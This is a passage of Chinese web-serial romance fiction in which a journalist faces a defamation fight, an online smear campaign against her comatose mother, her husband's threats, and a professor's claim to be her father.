就在这时,李可从办公室出来,对我道:“叶昭昭,你去顾氏集团继续跟进顾氏心肺支持仪上市的事。你跟顾总这个关系,想搞点内部消息,应该不是什么难事吧?”
虽然她说话难听,但顾氏设备的上市时间的确是我最关心的事。
这关系到我什么时候能跟顾时序把离婚摆在桌面上谈。
所以,我答应了。
到达顾氏的时候,前台依旧不让我进去。
甚至,阴阳怪气地说:“你就是微博上抢苏小姐未婚夫的那个小三儿?你怎么还有脸来公司找顾总?实话告诉你,这两天苏小姐天天都来公司,她和顾总很亲密呢!顾总之前不过是图个新鲜,玩玩你而已,你想上位,还是等下辈子吧!”
我静静地等她说完,然后给孙杰打了电话,道:“下来接我一下。”
孙杰得知我来了,赶忙出了电梯。
前台很意外,大概是没想到顾时序的金牌特助竟然能被我随意差遣。
她刚才趾高气扬的气势瞬间减了一半儿。
可我不想放过她,便对那个前台道:“把你刚才对我说的话,再说一遍。”
第59章 与小三这场斗争,我赢了
前台脸色格外尴尬,支支吾吾说不出个所以然。
孙杰蹙眉道:“你刚才说了什么?”
我道:“你去调监控,我就在这儿等着!如果今天不给我一个交代,或许我会报道一下你们顾氏的前台是多么狂妄!这就是你们企业文化?”
孙杰二话不说,就让人调了监控。
那前台早已变了脸色,连忙道:“孙助理,我……我刚才就是为苏小姐打抱不平。我……”
她话未说完,便被孙杰打断,“顾总的事,也轮得到你议论?从明天起,你不必来这里上班了。现在去财务部结账!”
那个前台还想替自己求情,孙杰已经不再理会她,而是恭敬地对我道:“请您跟我来。”
我跟着他进了总裁专用电梯。
很快,电梯到达顶层。
办公室里。
顾时序面前堆了一堆文件。
他应该早已听孙杰汇报了我来。
听见门响,他都没有抬头,而是对孙杰道:“你先出去。”
孙杰走后,我公事公办地开口:“我来采访关于顾氏心肺支持仪的事。如果顾总现在不方便,我可以等您一会儿。”
顾时序放下签字笔,蹙眉看着我,“先答应我一件事。”
“放过苏雅欣的粉丝?”
我没等他说话,自己就先说了。
顾时序顾左右而言他,道:“这次,如果不是她父亲,岳母的设备都没有专业人员能调试出正确的参数。我不希望我太太是个恩将仇报的人。”
我轻笑了声,道:“你还不如说,你不希望苏雅欣失去到手的女一号。这样,可能更有说服力一些。”
随即,我拿出那天苏雅欣粉丝站在我公司楼下污蔑我的视频。
我道:“顾时序,你睁大眼睛看清楚了,如果是你,你会不会放过她们?你有没有这么大度?”
视频里,清晰地显示着那些粉丝如何辱骂我?
她们拿着印着我照片的大字报,各种不堪的字眼和符号直到现在,都令我心有余悸。
顾时序轻轻皱起眉头,但没有做任何评价。
我被这样诋毁和辱骂,她们甚至咒我全家**,顾时序也不过就是皱了下眉。
而苏雅欣稍微示弱一下,装个可怜,他便在我母亲生死攸关的时候,将我丢在医院,决绝离开。
视频还没有播放完,他就打断道:“够了!我知道,你受了委屈。但是这些都是那些不理智的粉丝自发行为,跟雅欣没有关系。”
我淡淡地说:“是啊,所以我也没有起诉苏雅欣。我起诉的,只是对我造成直接伤害的人。哪里有问题?”
顾时序目光冷冽而严肃:“但你的起诉,让雅欣丢掉了女一号的位置。你知不知道她为了这个女一号,付出了多少?”
我静静地望着他,道:“顾时序,那我的付出,你看到了吗?从我嫁给你直到现在,你有没有看见我的付出呢?”
顾时序薄唇蠕动了一些,却又好像没了话说。
我吸了吸鼻子,尽量控制自己的情绪,克制地说:“我今天来,不是跟你吵架,也不是跟你聊私事的。现在,可以接受我的采访了吗?”
顾时序还算配合,接受了我的采访。
只不过,设备上市的时间,他只是说“尽快”,但并没有给我具体的时间。
这个新闻没什么热点,我耽误了大半天,还惹了一肚子气,无语地从顾氏离开。
……
下班后,我去了医院看我妈。
没想到,苏仲平也在。
当时,他正坐在我母亲的床边,一直望着她。
而他的手,竟然还握着我妈妈的手。
我心一惊,走进了门,喊了声:“苏教授。”
他听见我的声音,猛然惊醒似的,赶紧放开了我母亲。
“您怎么来了?”
我狐疑地看着他,越发觉得他有点不对劲儿。
苏仲平脸上的紧张一闪而过,可我还是发现了。
他尴尬地解释道:“我……我来看看你母亲怎么样了。”
似乎他觉得这种解释会引起歧义,连忙加了一句:“哦,因为她是这个设备为数不多的试验者。最近设备在审核阶段,审核组需要我进一步提供证据,证明设备的有效性。所以,你母亲的状况对我们来说,很重要。”
他解释了一大堆,我抱着将信将疑的态度。
这时,苏仲平欲言又止,道:“昭昭,我有件事……想跟你商量一下……”
“您说。”
我看着他,甚至都已经猜到了他想说什么?
果然如我所料,他道:“能不能看在我的面子上,给雅欣一个机会?最近,因为她哥哥的原因,她的事业下滑得很厉害。这个女一号,对她来说,真的很重要。”
我笑了下,终究,苏仲平还是跟苏家每一个人,没有任何区别。
他女儿破坏了我的家庭,搞出各种事情坑我,他不提。
反倒是让我看在他的面子。
他有什么面子?
我冷冷道:“抱歉,苏教授,我不能答应你。我没有针对你女儿,我针对的,只是伤害我的人。”
“没关系,没关系,你……你别生气。”
苏仲平跟我说话好像都透着小心,他道:“是我冒昧了。的确,雅欣做得确实不对。我刚才的话,你别往心里去。”
我没再接话,而是问:“您如果没事的话,就先离开吧。您时间宝贵,我妈妈由我来照顾就好。”
苏仲平顿了顿,点点头,道:“好,那我改日再来。”
我越发疑惑。
之前我妈妈用这个设备这么久了,也没见设备的设计师来过几次。
可自从那日苏仲平来调试过设备之后,就好像对我妈妈很上心。
我脑海中不禁浮现起刚才他握着我妈手的那一幕。
心里莫名发慌、发毛。
……
几天后,我对苏雅欣粉丝的起诉案开庭。
我跟公司请了假,跟着秦欢一起出现在了法庭。
宋今若也来了。
之前那几个带头污蔑我的粉丝头头,此时各个灰头土脸。
对方的律师果然是顾氏来的。
只不过,再厉害的律师,因为当事人不占理,再加上我们这边证据充足,他们还是败诉了。
法官判领头的几个“污蔑**”,我顺带还提供了自己的抑郁证明。
一个月前我去看心理医生的时候,医生就说我有抑郁倾向。
这张中度证明是我为了让这些人受到该有的惩罚,特意在开庭前去精神心理科做的测试。
‘污蔑诽谤’这种事情,对抑郁症患者和普通人造成的影响是不一样的。
可能普通人被污蔑,只是愤怒和生气。
但如果是抑郁症患者,造成的伤害或许就是毁灭性的。
所以,法官因为我有抑郁症,把她们往重了判,每个人都判了六个月的拘留。
宣判后,那几个粉丝以为能靠赔钱解决的事,现在变成六个月刑期,她们当庭叫了起来!
只可惜,她们的各种不服和谩骂,在法律面前统统没用。
她们也被警员带走。
这场开庭,我们获得了绝对的胜利。
结束后,宋今若开心极了,一直说着:“总算是出了口恶气!”
直到我们出来,才发现苏雅欣和顾时序也在。
现在,他对苏雅欣的偏袒和爱护已经不怎么避人了。
顾氏的律师正在跟顾时序汇报开庭情况。
苏雅欣眼圈红红的道:“时序哥,她们都是被我连累了。我真的好难受,都怪我……”
顾时序轻声安慰道:“那是她们自己的错误,跟你无关,别总是给自己这么大压力。”
对于老公对情人这样的偏爱,我已经见怪不怪了。
可宋今若忍无可忍地道:“我呸!苏雅欣,这些粉丝的今天,就是你的明天!等着吧你!”
顾时序觉得宋今若这些话,也是我的想法。
他冷冽的目光望向我,道:“为了把人逼上绝路,竟然连假抑郁证明都能开出来。叶昭昭,你真是越来越有本事了。”
宋今若还是想说什么,我制止了她。
我不想再跟一个装睡的人理论,我叫不醒顾时序的。
那又何必浪费口舌?
哪怕他知道我真的因为这场婚姻得了抑郁症,他也根本不会有一丝后悔。
我带着宋今若离开。
回到车里,她愤愤不平地说:“刚才干嘛不让我把话说完?你看心理
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医生的事,顾时序还不知道。我们把病历甩他脸上,看他还说你骗人?”
“没有意义。”
我的手抚了抚腹部,对她道:“我现在只希望顾时序离我越远越好。这样,以后我肚子里的孩子,才不用叫他爸爸。”
宋今若大惊失色,“你……你说什么?”
“嗯,我怀孕了。”
我苦涩地笑了笑,道:“之前就想告诉你的,但那时候看你跟裴医生谈恋爱如火如荼,我就不想败坏你心情。”
宋今若缓了很久,问:“你该不会还想把他的孩子生下来吧?”
我严肃而认真地说:“这个孩子是我自己的,跟他没关系。我已经想清楚了,这孩子生下来之前,顾氏的设备应该能上市。到时候,我会跟顾时序去民政局领证,他不同意的话,我就直接起诉。”
“可是……以后在海城你们总会低头不见抬头见啊!”
宋今若担忧地望着我,轻轻摸了摸我的肚子。
我道:“等我跟完顾氏心肺支持仪这个新闻,我就会辞职,带着孩子离开海城,去一个他找不到的地方。”
“这样也好,之前那个孩子一直是你的遗憾。现在,算是弥补这个遗憾了。”
宋今若眼睛湿湿的,抱着我道:“那我以后要当孩子的干妈!”
“好。”
我笑了笑,对她道:“这件事,一定要守口如瓶,我不想被顾时序知道,节外生枝。”
这时,我电话响了,是医院打来的。
我吓了一跳,以为我妈出了什么状况。
接听之后,那边传来院长激动的声音:“叶小姐,您母亲现在的状况已经在慢慢转好了,真是不容易啊!多亏了苏教授隔三岔五的过来。刚才,苏教授又来了!有他为您母亲保驾护航,肯定没问题的。”
“什么?苏教授今天又来了?”
我再次陷入疑惑和忐忑中。
女人的直觉告诉我,苏仲平这么频繁地来我妈妈这儿,绝对不正常。
跟院长通完电话,我将苏仲平经常去我母亲那里的事儿告诉了宋今若。
宋今若一听,道:“这肯定不对劲儿啊!你别忘了,他是苏雅欣的爹哎!你跟苏雅欣这关系,他儿子也因为你的新闻身败名裂,你怎么敢让他接近你妈妈?”
我有些纠结,解释道:“那天我妈的设备参数出了问题,院长说只有设计师可以解决这个问题,就把他请来了。”
宋今若疑惑地问:“不是说苏启明是那个设备的设计师吗?”
“我猜苏启明只是名义上的设计师,而真正的设计者应该是苏仲平。只不过他想通过自己的人脉和背景,把他儿子也托举出来。谁知道他儿子这么不争气,从头水到尾。”
我说完,宋今若催促道:“那你还不赶紧去医院?苏仲平帮着儿子弄虚作假,他女儿又是抢人家老公的小三,他能是什么好东西?”
虽然苏仲平一直都对我挺客气的,可他最近的举动实在是太奇怪了。
尤其是那天,他还握着我妈妈的手。
因为宋今若幼儿园里还有事,我跟她分别后,便驱车去了医院。
苏仲平仍没有走。
见我过来,他立刻站起身,客气地跟我打招呼:“昭昭来了。”
“嗯。”
我到他面前,道:“苏教授,您今天来我妈妈这里,是有什么事吗?”
苏仲平笑了笑,道:“就是看看我的病人怎么样了?你妈妈恢复得挺好,希望有一天,她能醒过来吧。”
“我也希望。”
我委婉地说:“如果设备有需要劳烦您的情况,我会委托院长请您过来。您工作这么忙,以后,就不必为我母亲耽误您时间了。”
苏仲平表情僵在了脸上,深深地望着我,道:“昭昭,我没有恶意。”
我微微笑了下,道:“我知道,我母亲如今能继续用这台设备续命,多亏了您。但是,我跟您女儿这种关系,的确不想与她的家人行走过密。”
苏仲平微微叹息了一声,语气略带落寞,“好,我知道了。”
就在这时,病房的门突然被粗鲁地推开。
我和苏仲平都吓了一跳,向门口看去。
没想到,竟然是苏雅欣的母亲。
第60章 他竟然是我的亲生父亲!
苏仲平见到妻子来,大惊失色,质问道:“王若芳,你来干什么?”
王若芳冷笑了声,悠悠地向我们走来,道:“我就是想看看,是什么样的**,变成植物人了,还能在这儿勾引男人!”
我当即走过去拦在我母亲病床前,愤声道:“你嘴巴放干净点!勾引男人这种事,没有人比你女儿更擅长!”
王若芳抬手就想打我耳光,却被苏仲平扼住了手腕。
他道:“走,我们回家说!”
王若芳一副泼辣的模样,不愿意走,扯着嗓子道:“你也嫌丢人?我说你这些日子怎么茶不思饭不想,神出鬼没的!没想到,是被这个老**勾了魂儿去!”
她话音刚落,苏仲平一耳光甩了过去。
王若芳捂着脸,不可置信地看着他,道:“你敢打我?这**勾引你,她女儿勾引我女儿的男人,你居然向着她们!”
苏仲平厉声道:“王若芳,谁勾引的谁,你自己心里清楚!”
“呵,我不清楚!”
王若芳咬牙切齿地道:“我只清楚如果不是我们王家人,你苏仲平现在还是个底层的小科研员,屁都不是!”
我没想到,我妈是个植物人,连自主意识都没有,竟然会被苏雅欣的妈用这么难听的字眼羞辱。
我气出了眼泪,对苏仲平道:“麻烦苏教授把这个疯女人带走!如果她再不走,我就报警了。”
“好,我们走,我们现在就走。”
苏仲平一边拉着妻子,一边对我道:“昭昭,不好意思,是我考虑不周。”
我压根不想听这种毫无意义的道歉,冲他们吼道:“你们都给我滚出去!”
他们离开后,王若芳的叫骂声越来越远,可我的心始终不能平静。
我望着病床上安详的妈妈,心底酸涩而悲凉的。
我只能默默祈祷,植物人如果失去听觉,什么都听不到,就好了。
原以为苏仲平把王若芳那个疯女人带走,事情就告一段落了。
可没想到,苏雅欣母女简直就像是毒蛇,缠住你,便无法摆脱。
除非,她把你给咬死。
在苏仲平带着妻子离开后的当天晚上,各大APP的热搜再一次被苏雅欣霸占。
只不过这次,不是苏雅欣自己的事,而是王若芳在网上开了直播。
她的实名认证是:苏雅欣母亲。
当时我还在我妈的病房里陪她。
是叶夫人万分紧急地给我打电话,让我看苏雅欣母亲的直播。
直播中,王若芳不卖货,不表演才艺,而是跟网友们哭诉。
“大家好,我是雅欣的妈妈。今天开这个直播,我女儿不知道,可我有些话不吐不快。”
她这边说完,已经**了很多吃瓜群众。
弹幕上一条条评论刷了起来:
“雅欣妈妈看起来好委屈。是因为雅欣被小三那件事吗?”
“听说雅欣被小三阴了,丢掉了到手的女一号。”
“阿姨,别哭了,我们好心疼!”
“……”
王若芳继续说道:“我没想到,在叶昭昭破坏了我女儿和顾总的关系之后,她竟然利用植物人母亲,介入了我和丈夫的婚姻。”
这段话的每一个字的,都有冲热搜的潜质。
一瞬间,王若芳的直播间已经从几千个观看量达到了几千万个观看量。
弹幕刷得嗖嗖的。
王若芳哭着说:“我女儿和儿子的事业被叶昭昭搅黄了,现在,我丈夫也跟曾经的情人重修旧好。”
虽然有很多苏雅欣的粉丝在评论区骂我和我妈妈,但也有些理智的粉丝道:“太狗血了吧!你儿子不是罪有应得吗?植物人母亲怎么勾引人啊?”
这时,王若芳拿出很多旧照片,道:“大家请看,当初我跟我丈夫新婚没多久,她母亲就介入了我们的婚姻。当时为了守护家庭,我没有出声,一直默默忍受着。可我万万没想到,已经过去了二十多年,叶昭昭的母亲变成植物人瘫痪在床,她居然还想利用母亲破坏我们的家庭。”
说着,她还放出了医院的监控视频。
在我没看见的时候,苏仲平除了握着我妈妈的手,还轻轻抚摸着我妈的脸,最后,甚至还吻了她额头。
我异常震惊。
可我相信,我妈不可能是介入别人婚姻的第三者。
不过,只有我相信,一点用都没有。
刚过去的网暴,现在不仅发生在我身上,更发生在了我妈身上。
“太恶心了吧!植物人了耶,居然还能勾引男人!”
“怎么不**啊?生出叶昭昭那种女儿,她母亲肯定不是什么好鸟儿,早该**!”
“雅欣家实在是太可怜了,快被叶昭昭这个**祸害光了!”
“……”
就在这时,苏雅欣进入了直播间,对母亲道:“妈,您在干什么?您别胡说八道了行不行?”
下一秒,直播被关掉了。
母女俩双簧唱得十分成功。
王若芳这短短十分钟的直播,直接登顶热搜,比之前的每一次热搜都要火爆。
我和我妈也成为了网友们口诛笔伐的对象。
吃瓜群众别提多同情苏雅欣了,纷纷说道:
“都已经这样了,雅欣竟然还忍气吞声,不让她妈妈揭露小三。天啊,她这么善良,为什么要让她遇到这种事啊!”
“我是雅欣的粉丝,真的好心疼她,我要哭**!”
“到底谁能管管不要脸的死**啊!叶昭昭和她妈都**!**!”
“……”
恶毒的谩骂让我拿着手机的手都忍不住颤抖。
我看着依旧昏迷的母亲,一瞬间,眼泪就涌了出来。
她明明什么都没做,谁都没有得罪啊!
为什么要承受这样的侮辱?
就在这时,我听见了熟悉的脚步声。
我知道,那是顾时序。
这种时候,他怎么会来?
难道,他不该陪着‘受了委屈’的情人和丈母娘吗?
我赶紧擦了下脸上的湿润,冷声问:“你来干什么?”
顾时序深邃的眸中映着复杂,问:“苏雅欣母亲说的那些,是真的吗?”
所有的愤怒堵在胸腔。
我是他的妻子,苏雅欣是第三者,这难道不是他心里清楚的事吗?
王若芳颠倒黑白的话,他居然还来跟我求证。
他究竟是在侮辱谁?
我恨恨地等着他,指着外面道:“你出去!”
顾时序没走,而是问我:“你准备怎么办?”
“把我们的结婚证发出来,一个字都不用解释,大家就全明白了。”
我说完,顾时序眸光凌厉起来。
他语气低沉,不满地说:“是雅欣母亲开的直播,跟雅欣有什么关系?你发结婚证能证明什么?”
我冷笑了声,道:“证明苏雅欣才是第三者,证明她母亲满口谎言!”
“叶昭昭,我劝你最好不要这么做。”
顾时序一字一句地道:“顾氏最近是多事之秋,如果你再给我制造任何麻烦,我绝不会再对你手软。”
我没想到这种时候,我和我妈被泼了那么多脏水,顾时序来这儿只是为了威胁我,让我守口如瓶,不要伤害到苏雅欣。
可他明明知道,那些都是脏水。
我鼻尖发酸,眼眶涨得难受,紧紧盯着他冷冽的双眼,道:“如果我把结婚证发出来,你要怎样?”
“你母亲的命,掌握在你自己手里。你好好掂量掂量!”
他丢下一句话,转身离开。
我无力地闭上眼睛,却挡不住滚烫的液体爬满我的脸。
原来,他今天特意跑一趟,就是为了威胁我、警告我,让我和我妈妈把这个黑锅背下去。
哪怕我们会成为众矢之的,哪怕那么多难听的字眼羞辱谩骂我们。
只要苏雅欣好好的,顾时序就不会在乎我们的死活。
顾时序没走多久,宋今若和顾亦寒全都来了。
宋今若被网上的言论气得不轻,道:“昭昭,别管了!就直接把结婚证晒出来!我就不相信,顾时序这个王八蛋真能停掉伯母的设备,看着她**!”
顾亦寒在旁边幽幽地说:“顾时序还真敢!要是他真这么做了,你这不就害了昭昭?”
宋今若不吭声了,哭着道:“那你说怎么办!我们昭昭和伯母难道就被他们这样欺负吗?”
一向嬉皮笑脸的顾亦寒现在也不开玩笑了,而是理智地分析道:“现在苏家那个老女人针对的对象,不只是昭昭,还有伯母。就算昭昭晒出了结婚证,也不能证明伯母年轻的时候跟苏仲平没关系啊!”
我激动地辩解道:“我妈不是那种人!她不可能破坏别人家庭!”
“我知道,我知道。”
顾亦寒轻轻拍了拍我的肩膀,道:“但是,你要证明啊,口说无凭。网络上的风言风语这么厉害,你必须拿出证据,让他们闭嘴。”
在顾亦寒的安抚下,我冷静下来。
思索了很久,我决定让宋今若帮我去帝都,我妈妈曾经的大学打听一些消息。
因为想到我妈和苏仲平都是帝都大学的,他们会不会在大学时期就认识?
他们的感情,他们的发展,总有人会知道的。
可现在,我和我妈几乎到了人人喊打的地步,我出去都不方便,只能拜托宋今若帮我。
“好,我明天就动身。”
宋今若毫不犹豫地答应。
顾亦寒叹了口气,道:“那我明天问问宴州哥,他有没有什么好办法?”
“沈先生?”
我疑惑地看着他。
总觉得这个人离我的生活很遥远,他会管我这种事么?
顾亦寒点点头,道:“对啊,他比我们阅历深,在帝都根基又深。肯定比我们办法多!”
“谢谢你们。”
我跟他们深深地鞠了一躬,给他俩吓了一跳。
“你这是干嘛?”
顾亦寒道:“你这搞得好像我**,你在哀悼我。”
宋今若瞪了他一眼,对我道:“我跟你是什么关系,你跟我还客气?”
就这样,他们在医院陪了我一夜,我让他们回去,他们不肯。
翌日一早,
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他俩同时动身去了帝都。
而我养父母得知这件事,都赶了过来。
叶夫人哭成泪人,道:"这苏家人怎么就这么狠?什么颠倒黑白的话都敢说!"
我正准备找他们,"爸、妈,你们知道当年我母亲和苏仲平的事情吗?或者,你们知道我妈妈都经历了什么吗?"
我想,他们当年收养我,应该多多少少会了解我妈妈一些的。
叶爸爸脸色微变,沉默了很久,才道:"其实,你母亲当年是我公司的一个技术员,科研搞得非常好。我跟她并非很熟,直到她出了意外,公司员工告诉我她留下了一个女儿,我这才把你带回了叶家。"
我有些遗憾。
原来,他们对我母亲的了解也仅限于此。
他们安慰了我很久,却又很无能为力。
我叮嘱他们不要插手这件事,毕竟,叶家自己现在也是四面楚歌。
……
他们走后,我怎么都没想到,在网上被喷得同样厉害的负心汉苏仲平竟然还敢过来。
因为这次他也深陷**,事业差点停滞,不然我真怀疑他是不是跟苏雅欣他们商量好来害我们的!
“昭昭。”
苏仲平一夜之间好像老了很多,“我今天来找你,是想跟你说说我和你母亲的事。我想,你一定也很好奇吧?
我紧紧盯着他,一字一句道:“我妈妈不是王若芳口中的那种人,对不对?”
“对,一切都是我的错。我跟你母亲的确有一段感情,她还怀了我的孩子。当时她得知我结婚的消息,怀着身孕的情况下就离开了帝都。”
苏仲平的话不清不楚的,但他目光一直盯着我。
我心中涌起一阵恐慌,想阻止他继续说下去。
可他还是一意孤行地说了,“昭昭,在我看到你的第一眼,我就知道,你是老天赐给我的礼物。你母亲终究还是心软,留下了我的骨肉。”
“你住口!”
我浑身发抖,恨恨的说:“我没有你这样的父亲!你让我妈怀孕,却又娶了王若芳。从这一刻开始,你就不配当我父亲了!”
苏仲平叹了口气,道:“昭昭,让我补偿你们,行么?”
“你妻子和女儿联手唱双簧,中伤我和我妈妈。她已经是个植物人了,却被扣上这样的帽子。你准备怎么补偿?”
我以为,他至少会像个男人,勇敢的站出来,澄清他当年犯下的过错。
可我没想到,他给我的答案是:“我安排一下,把你和你母亲都送去国外。我听说你当年大学毕业就结婚,没读上研究生是个遗憾。那么你去国外继续深造,我帮你联系老师,钱我来出。至于你母亲,我也已经给她找好了医院。”
“呵!苏教授,本来我以为你跟你的妻子、儿女是不同的,可现在看来,你跟他们不过是一丘之貉罢了!一样无耻,一样狡猾!”
我嗤笑出声,失望的看着他,这个我所谓的父亲。
苏仲平急忙解释:“你误会了,我是真的想补偿你们。”
“你的补偿,就是让我和我妈像过街老鼠似的跑到国外躲着?这样,我们就相当于默认了那些脏水和污蔑。只要我们走了,你这边的**就小了。你的妻女达到了目的,你还可以继续风风光光做你的教授,是不是?”
我撕开了苏仲平伪善的嘴脸。
我每说一个字,他脸色都羞愧一分。
直到最后,他近乎于哽咽的求我:“昭昭,我是你的亲生父亲,我好不容易才得到如今的一切,你和你母亲不能这样毁了我啊!你们去国外,就看不到国内的**了。这样,对大家都好。”
我恨恨的瞪着他无耻的嘴脸,道:“不是我们毁了你,而是你毁了我们!要不是你三天两头来这里看我妈,我和我妈本可以平静的生活。你敢做不敢当,你有什么资格说你是我亲生父亲!”
苏仲**倒是比我还失望,摇了摇头,“我原以为,你知道你有我这样一个名声赫赫的父亲,该感到骄傲的。”
我讽刺的弯了弯唇角,道:“这么看来,你能养出那样的儿女,真是一点都不奇怪了。”
我拿出手机,厉声道:“你再不走,我就报警了!”
苏仲平生怕事情闹大,对他的名声更不好,赶紧制止了我:“好,我走。但是我刚才的建议,你一定要好好考虑一下。”
就在这时,我突然想起之前我给苏启明做背景调查的时候,也顺带着查了苏仲平的资料。
我记得很清楚,当时苏仲平的事迹里有一项是他为了救一个失血过多的学生,献了很多血。
因为那个学生的血型是AB型,血库里没有这个类型的血了,但苏仲平的血型是“O”型的,可以给任何血型输血。
当时,百度百科还将这件事作为一个光荣事迹,用来体现苏仲平对学生的关心和付出。
但我母亲是B型血。
我的血型是稀有血型,如果我父母都是‘B型’和‘O’型这种普通血型,压根就生不出一个稀有血型的孩子。
我立刻叫住他:“等等。”
第61章 当年的真相
苏仲平以为我心软了,眼里都亮起了光。
为了让他配合我,我故意道:“你说你是我的亲生父亲口说无凭,除非,我们去做亲子鉴定。如果结果出来证明我们确实是亲生父女,我可以考虑你的建议。毕竟,血浓于水,我也不想逼死你。”
苏仲平的喜悦之色跃然脸上,他似乎很自信,道:“昭昭,你的年纪只可能是我的孩子,不会错的。不过,做一个也好,这样,你就能认祖归宗了。”
“那我们现在就去抽血,这家医院,好像就有亲子鉴定中心。”
苏仲平没有任何意见。
就这样,我跟他一起去抽了血。
亲子鉴定中心的人对我们说最近做这个项目的很多,他们不提供加急服务,只能保证一周内出结果。
为了证实我的猜测,也为了还我妈妈一个清白,我忽悠着苏仲平抽了血。
离开时,苏仲平脸上的忧虑少了许多,笑了笑,道:“昭昭,你果然跟你母亲一样识大体。那我就等着好消息了,你放心吧,结果一定是我们是亲生父女。”
“嗯,你慢走。最近就不要来了,我不想我妈再承受你太太的攻击。”
我连看这个‘父亲’一眼都觉得恶心,耐着性子让他离开。
本以为至少苏仲平会等亲子鉴定结果出来,再采取下一步行动。
可或许是因为网络上对他的攻击也越演愈烈,逼得他不得不出面。
只是我没想到,他出面澄清的话术,竟然是为自己的婚内出轨致歉,并承认我是私生女。
“抱歉各位,我年轻气盛的时候,的确做过一些错事,跟唐婉华女士有了私生女。以后,我会恪守道德准则,回归家庭,弥补我的太太和女儿。”
他在视频里一副痛心疾首的样子,仿佛悔不当初。
出乎意料的是,评论里谩骂他的人,竟然少了很多。
“知错就改,回归家庭就是好男人。谁没有个年轻的时候?苏教授是国内知名的顶级科研专家,我们只有给他机会,他才能创造出更多的医用设备,为我们谋福祉。”
“都是叶昭昭和她妈,上梁不正下梁歪,就可着苏家一家人豁豁。送到床上的**货,有几个男人能扛得住啊!”
“我们欣欣都好几天没有发微博了,肯定很伤心。真的哭**,叶昭昭这个死**,竟然是她父亲的死生女。这也太恶心了!”
这些评论,让我发现这个社会对男人的宽容度真令人咋舌。
苏仲平短短的认错,就让大部分网友原谅了。
而他话里话外,都在影射我妈勾引了结婚的他,生下了我。
现在,苏家的所有人都成了受害者,只有我和我妈还在承受着恶毒的谩骂和无休止的攻击。
……
公司那边看在顾亦寒投资了五千万的份儿上,没有直接解雇我。
而是让我处理好这件事,再回去上班。
所以,这两天我都呆在医院,陪我妈妈。
这期间,薛晓琴也来了。
我本以为她只是来探望我,可她跟我说了会儿寒暄的话,才欲言又止地开口。
“昭昭,琴姨想求你一件事。”
她期期艾艾地看着我。
我道:“您是想让我离顾亦寒远点儿,对吧?”
薛晓琴愁眉不展地说:“亦寒最近因为你的事,到处奔波。其实我没意见的,毕竟,你们俩也算是青梅竹马了。只不过这回他去帝都帮你找沈宴州的事,被时序知道了。时序现在开始对他爸爸的公司出手,我们……实在很被动。”
我的心猛地一沉。
网上的那些指责和谩骂只是让我愤怒,可顾时序却是无孔不入地出现在我的生活里。
每每出现,都要狠狠给我一刀。
他不肯帮我,也不让别人帮我。
薛晓琴道:“当年,亦寒爸爸跟你婆婆离婚,放弃了全部。这些年他经历了太多坎坷,才终于在商界重新站稳脚跟。他能留给亦寒的,也就只有目前所拥有的。阿姨实在是害怕,亦寒这孩子不知轻重,得罪了时序。”
“我明白了,琴姨。”
我点点头,跟她保证道:“我会跟顾时序和顾亦寒说清楚的。您放心吧。”
……
薛晓琴走后没多久,顾时序来了。
我望着这张认识了二十年的脸,却在这一刻,觉得无比陌生。
“你就准备这样破罐子破摔了?”
他看到我在我妈病房的小沙发上铺的被褥,眉头微皱,“想躲到什么时候?”
我眸光平静而坚定地看着他,道:“我和我妈没做任何亏心事,我们用不着躲!”
顾时序轻扯的嘴角噙着一丝不屑,“苏仲平都已经承认了,你何必非要做这种无谓的狡辩?我过来不是为了跟你求证,只是看在夫妻的情分上,帮帮你。”
我现在对他已经没有任何期待,却还是想看看他能残忍到什么地步。
我反问道:“你能怎么帮?”
他冷峻的面容十分平静,像是在说别人的事,“你带着你母亲去国外避避风头,等这件事平息了再回来。”
我没想到他的要求跟苏仲平竟然一模一样!
不知道是他跟苏家人商量好的,还是他与苏仲平同为出轨的男人,所以骨子里的劣根性都是一样的!
我咬牙道:“我和我妈哪儿都不去!顾时序,你只管去安慰苏雅欣就好,我这边不需要你!”
我话音刚落,他面色阴沉,一步步走向我。
直到把我逼到墙角无路可退。
男人漆黑的眼中散发着迫人的寒意,紧紧盯着我,问:“你不需要我?那必须要谁?顾亦寒吗?他帮你是帮,我帮你就什么都不是!”
我讽刺地说:“你居然觉得,你在帮我。你要真想帮我,那就去跟公众说清楚我们俩的关系。你可以为了苏雅欣,召开记者发布会。但我遭受网暴的时候,你却和其他不明所以的人一起指责我!”
顾时序冷笑了声,道:“说到底,你还是在跟雅欣争风吃醋。以前上学的时候,你还记不记得你有多讨厌顾亦寒?现在,为了报复我,你不惜跟他混在一起。叶昭昭,你太幼稚了!”
我轻扯唇角,道:“我以前是讨厌顾亦寒,但哪怕是我这么讨厌的人,在这种时候,他相信我妈妈,也相信我。而你呢?人都是会变的,他变了,你也变了。”
顾时序沉默地看着我很久,点点头,“算我白来这一趟。”
临走时,我对他道:“我和顾亦寒只是朋友,麻烦你不要针对他。”
顾时序冷冽的面容染上一抹不屑,道:“你太看得起你自己了。我针对顾亦寒,跟你无关。”
他走后,只剩下冰冷的空气包裹在我四周。
是啊,我太看得起自己了。
顾时序针对顾亦寒,那是因为他们之间的关系,从出生就注定要当一辈子的仇人了。
能牵动顾时序情绪的人,只会是苏雅欣,跟我又有何干?
……
翌日,顾亦寒来到了医院。
我想起薛晓琴的嘱托,故作冷漠地说:“你以后不要管我的事了。我们的关系,还没这么熟。”
顾亦寒轻笑了声,道:“我妈找你了,是不是?”
“没有。”
我面无表情,不想被他看出异样。
顾亦寒双手抄在裤袋里,吊儿郎当样子道:“好,你要是这么说的话,那我真走了!我本来找到能证明你母亲清白的人,你不需要的话,我也就不热脸贴你冷屁股了。”
说完,他就作势要走。
我连忙道:“等等,你刚才说什么?”
就在这时,宋今若搀扶着沈老太太走了进来。
我惊讶地看着她们,“沈老夫人?”
“呦,这眼睛怎么肿成这样?”
沈老太太怜惜地望着我,道:“这几天,真是苦了你了。又要照顾妈妈,还得承受那些恶毒的污蔑。”
如果说之前我还能装作坚强,但因为沈老太太这番话,我眼泪一下子就涌了出来。
沈老太太走过来,轻轻握住我的手,道:“别哭了,孩子。我这次过来,就是给你想办法呢。相信奶奶,一切都会好起来的。”
宋今若解释道:“昭昭,沈老夫人真的有办法!我和顾亦寒在帝都大学没找到线索,老夫人主动跟顾亦寒联系,说她认识伯母。”
我扶着沈老太太坐下,震惊地问:“您认识我母亲?”
沈老夫人点点头,像是陷入了回忆,“你还记得上次宴会上,我听见你弹琴,说过你的风格很像我的一位学生吗?”
我微微一顿,问:“那位学生,是我母亲?”
